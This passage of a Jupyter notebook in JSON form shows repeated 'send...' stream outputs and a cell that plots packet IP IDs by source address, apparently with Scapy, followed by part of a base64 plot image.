"send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "send...\r", "\r", "send...\r" ] } ], "prompt_number": 5 }, { "cell_type": "code", "collapsed": false, "input": [ "%matplotlib inline\n", "ans.multiplot(lambda p, q: (q[IP].src, (q.time, q[IP].id)), plot_xy=True)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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\nwY4d1jb3IiKVlSqXlkLG+QziDsUR6hPq6KZINfX